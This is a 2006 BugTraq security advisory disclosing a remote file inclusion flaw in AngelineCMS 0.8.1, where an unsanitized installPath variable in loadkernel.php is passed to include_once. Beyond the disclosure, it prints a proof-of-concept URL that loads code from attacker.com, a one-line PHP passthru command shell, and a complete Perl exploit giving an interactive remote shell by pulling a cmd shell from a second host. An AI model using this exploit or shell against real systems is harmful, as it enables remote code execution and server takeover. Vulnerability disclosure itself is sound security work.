BugTraq
[ECHO_ADV_27$2006] AngelineCMS 0.8.1 Installpath Remote File Inclusion Apr 04 2006 05:10PM
eufrato gmail com
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| __)_ / \ \// ~ \/ | \
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.OR.ID
ECHO_ADV_27$2006

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---
[ECHO_ADV_27$2006] AngelineCMS 0.8.1 Installpath Remote File Inclusion
------------------------------------------------------------------------
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Author : M.Hasran Addahroni
Date : April, 4th 2006
Location : Indonesia, Bali
Web : http://advisories.echo.or.id/adv/adv27-K-159-2006.txt
Critical Lvl : Dangerous
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---

Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Application : AngelineCMS
version : 0.8.1
URL : http://angelinecms.info/
Description :

AngelineCMS is an open source Content Management System (CMS) and a complete Web Development Framework (Application server).
It's written from ground up to take advance of PHP5's object-oriented features.
AngelineCMS is Open Source software under OSI approved Mozilla Public License.
AngelineCMS aims for easy, innovative solutions for daily web publishing problems.

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Proof of Concept:
~~~~~~~~~~~~~~~
Vulnerable Script: loadkernel.php in kernel folder.

---------------loadkernel.php--------------------------------
...
include_once($installPath."/kernel/common/time.php");
...
------------------------------------------------------------------

Variables $installpath are not properly sanitized.
When register_globals=on and allow_fopenurl=on an attacker can exploit this vulnerability with a simple php injection script.

Poc/Exploit:
~~~~~~~~~~~

http://www.target.com/[angelinecms_path]/kernel/loadkernel.php?installPa
th=http://attacker.com/evil?

Solution:
~~~~~~~~

sanitize the script code in loadkernel.php to protect this vulerability

Notification:
~~~~~~~~~~~

vendor was contact

------------------------------------------------------------------------
---
Shoutz:
~~~~~~

~ y3dips,the_day,moby,comex,z3r0byt3,c-a-s-e,S`to,lirva32,anonymous,kaiten

~ masterpop3,maSter-oP,Lieur-Euy,Mr_ny3m,bithedz,murp,an0maly,fleanux,bayl
aw
~ sinChan,x`shell,tety,sakitjiwa, m_beben, rizal, cR4SH3R, metalsploit
~ newbie_hacker (at) yahoogroups (dot) com [email concealed]
~ #aikmel #e-c-h-o @irc.dal.net
------------------------------------------------------------------------
---
Contact:
~~~~~~~

K-159 || echo|staff || eufrato[at]gmail[dot]com
Homepage: http://k-159.echo.or.id/

-------------------------------- [ EOF ] ----------------------------------

Perl Exploit:
~~~~~~~~~~~

#!/usr/bin/perl
##
# AngelineCMS 0.8.1 installpath Remote Code Execution Exploit
# Bug Found & code By K-159
# code reference from uid0/zod at ExploiterCode.com
##
# echo.or.id (c) 2006
#
##
# usage:
# perl angelineCMS.pl <target> <cmd shell location> <cmd shell variable>
#
# perl angelineCMS.pl http://target.com/ http://site.com/cmd.txt cmd
#
# cmd shell example: <?passthru($_GET[cmd]);?>
#
# cmd shell variable: ($_GET[cmd]);
##
# #
#
# Contact: www.echo.or.id #e-c-h-o @irc.dal.net
##

use LWP::UserAgent;

$Path = $ARGV[0];
$Pathtocmd = $ARGV[1];
$cmdv = $ARGV[2];

if($Path!~/http:\/\// || $Pathtocmd!~/http:\/\// || !$cmdv){usage()}

head();

while()
{
print "[shell] \$";
while(<STDIN>)
{
$cmd=$_;
chomp($cmd);

$xpl = LWP::UserAgent->new() or die;
$req = HTTP::Request->new(GET =>$Path.'kernel/loadkernel.php?installPath='.$Pathtocmd.'?&'.$cmdv.'='.$
cmd)or die "\nCould Not connect\n";

$res = $xpl->request($req);
$return = $res->content;
$return =~ tr/[\n]/[�ª]/;

if (!$cmd) {print "\nPlease Enter a Command\n\n"; $return ="";}

elsif ($return =~/failed to open stream: HTTP request failed!/ || $return =~/: Cannot execute a blank command in <b>/)
{print "\nCould Not Connect to cmd Host or Invalid Command Variable\n";exit}
elsif ($return =~/^<br.\/>.<b>Fatal.error/) {print "\nInvalid Command or No Return\n\n"}

if($return =~ /(.*)/)

{
$finreturn = $1;
$finreturn=~ tr/[�ª]/[\n]/;
print "\r\n$finreturn\n\r";
last;
}

else {print "[shell] \$";}}}last;

sub head()
{
print "\n=====================================================================
=======\r\n";
print " *AngelineCMS 0.8.1 installpath Remote Code Execution Exploit*\r\n";
print "=======================================================================
=====\r\n";
}
sub usage()
{
head();
print " Usage: perl angelineCMS.pl <target> <cmd shell location> <cmd shell variable>\r\n\n";
print " <Site> - Full path to angelineCMS ex: http://www.site.com/ \r\n";
print " <cmd shell> - Path to cmd Shell e.g http://www.different-site.com/cmd.txt \r\n";
print " <cmd variable> - Command variable used in php shell \r\n";
print "=======================================================================
=====\r\n";
print " Bug Found by K-159 \r\n";
print " www.echo.or.id #e-c-h-o irc.dal.net \r\n";
print "=======================================================================
=====\r\n";
exit();
}

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